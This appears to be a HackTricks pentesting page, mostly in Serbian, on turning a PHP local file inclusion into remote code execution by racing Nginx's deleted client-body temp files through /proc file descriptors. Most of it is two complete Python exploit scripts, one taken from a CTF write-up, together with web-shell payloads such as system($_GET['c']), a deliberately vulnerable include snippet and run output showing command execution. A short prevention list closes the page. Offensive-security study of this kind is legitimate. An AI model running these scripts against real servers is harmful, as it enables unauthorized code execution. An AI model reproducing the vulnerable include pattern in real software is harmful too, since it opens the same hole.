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hacktricks/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md
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LFI2RCE putem Nginx privremenih fajlova

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Ranjiva konfiguracija

Primer sa https://bierbaumer.net/security/php-lfi-with-nginx-assistance/

  • PHP kod:
<?php include_once($_GET['file']);
  • FPM / PHP konfiguracija:
...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...
  • Postavljanje / ojačavanje:
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...

Srećom, PHP se trenutno često implementira putem PHP-FPM i Nginx-a. Nginx nudi lako previdljivu funkcionalnost client body buffering koja će kreirati privremene fajlove ako je telo klijenta (ne samo ograničeno na POST) veće od određenog praga.

Ova funkcionalnost omogućava iskorišćavanje LFI-ja bez ikakvog drugog načina kreiranja fajlova, ukoliko Nginx radi kao isti korisnik kao i PHP (što je vrlo često slučaj, kao što je www-data).

Relevantan Nginx kod:

ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
ngx_fd_t  fd;

fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
access ? access : 0600);

if (fd != -1 && !persistent) {
(void) unlink((const char *) name);
}

return fd;
}

Vidljivo je da se privremena datoteka odmah uklanja nakon što je otvorena od strane Nginx-a. Srećom, procfs može se koristiti da se i dalje dobije referenca na obrisani fajl putem trke:

...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...

Napomena: U ovom primeru nije moguće direktno uključiti /proc/34/fd/15, jer bi PHP-ova include funkcija razrešila putanju u /var/lib/nginx/body/0000001368 (obrisano), koja ne postoji u fajl sistemu. Srećom, ovu manju restrikciju možemo zaobići korišćenjem neke vrste indirekcije kao što je /proc/self/fd/34/../../../34/fd/15, što će na kraju izvršiti sadržaj obrisanog fajla /var/lib/nginx/body/0000001368.

Potpuna eksploatacija

#!/usr/bin/env python3
import sys, threading, requests

# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details

URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'

# find nginx worker processes
r  = requests.get(URL, params={
'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')

r  = requests.get(URL, params={
'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')

nginx_workers = []
for pid in range(pid_max):
r  = requests.get(URL, params={
'file': f'/proc/{pid}/cmdline'
})

if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')

nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break

done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')

for _ in range(16):
t = threading.Thread(target=uploader)
t.start()

# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
global done

while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
r  = requests.get(URL, params={
'file': f,
'c': f'id'
})
if r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()

for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()

LFI to RCE via Nginx temp files

Description

This technique allows an attacker to escalate a Local File Inclusion (LFI) vulnerability to Remote Code Execution (RCE) by exploiting Nginx temporary files.

Exploitation

  1. Identify the LFI vulnerability in the target web application.
  2. Determine the location of the Nginx temporary directory. This can usually be found in the Nginx configuration file (nginx.conf).
  3. Craft a payload that will write a malicious PHP file to the Nginx temporary directory. For example:
<?php echo system($_GET['cmd']); ?>
  1. Use the LFI vulnerability to include the crafted payload into a PHP file on the target server.
  2. Trigger the inclusion of the PHP file containing the payload.
  3. The payload will be executed by the server, resulting in remote code execution.

Prevention

To prevent this type of attack, it is recommended to:

  • Regularly update Nginx to the latest version.
  • Restrict access to the Nginx temporary directory.
  • Implement input validation and sanitization to prevent LFI vulnerabilities.
  • Use a Web Application Firewall (WAF) to detect and block malicious requests.

References

$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
[*] nginx worker found: 33
[*] nginx worker found: 34
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] brute loop restarted: 33
[+] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Još jedan eksploit

Ovo je sa https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/

import requests
import threading
import multiprocessing
import threading
import random

SERVER = "http://localhost:8088"
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = False

def create_requests_session():
session = requests.Session()
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
session.mount('http://', adapter)
return session

def get_nginx_pids(requests_session):
if USE_NGINX_PIDS_CACHE:
return NGINX_PIDS_CACHE
nginx_pids = set()
# Scan up to PID 200
for i in range(1, 200):
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
if cmdline.startswith("nginx: worker process"):
nginx_pids.add(i)
return nginx_pids

def send_payload(requests_session, body_size=1024000):
try:
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
payload = '<?php system("/readflag"); ?> //'
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass

def send_payload_worker(requests_session):
while True:
send_payload(requests_session)

def send_payload_multiprocess(requests_session):
# Use all CPUs to send the payload as request body for Nginx
for _ in range(multiprocessing.cpu_count()):
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
p.start()

def generate_random_path_prefix(nginx_pids):
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
path = ""
component_num = random.randint(0, 10)
for _ in range(component_num):
pid = random.choice(nginx_pids)
if random.randint(0, 1) == 0:
path += f"/proc/{pid}/cwd"
else:
path += f"/proc/{pid}/root"
return path

def read_file(requests_session, nginx_pid, fd, nginx_pids):
nginx_pid_list = list(nginx_pids)
while True:
path = generate_random_path_prefix(nginx_pid_list)
path += f"/proc/{nginx_pid}/fd/{fd}"
try:
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
except:
continue
# Flags are formatted as hxp{<flag>}
if "hxp" in d:
print("Found flag! ")
print(d)

def read_file_worker(requests_session, nginx_pid, nginx_pids):
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd in range(10, 45):
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
thread.start()

def read_file_multiprocess(requests_session, nginx_pids):
for nginx_pid in nginx_pids:
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
p.start()

if __name__ == "__main__":
print('[DEBUG] Creating requests session')
requests_session = create_requests_session()
print('[DEBUG] Getting Nginx pids')
nginx_pids = get_nginx_pids(requests_session)
print(f'[DEBUG] Nginx pids: {nginx_pids}')
print('[DEBUG] Starting payload sending')
send_payload_multiprocess(requests_session)
print('[DEBUG] Starting fd readers')
read_file_multiprocess(requests_session, nginx_pids)

Laboratorije

Reference

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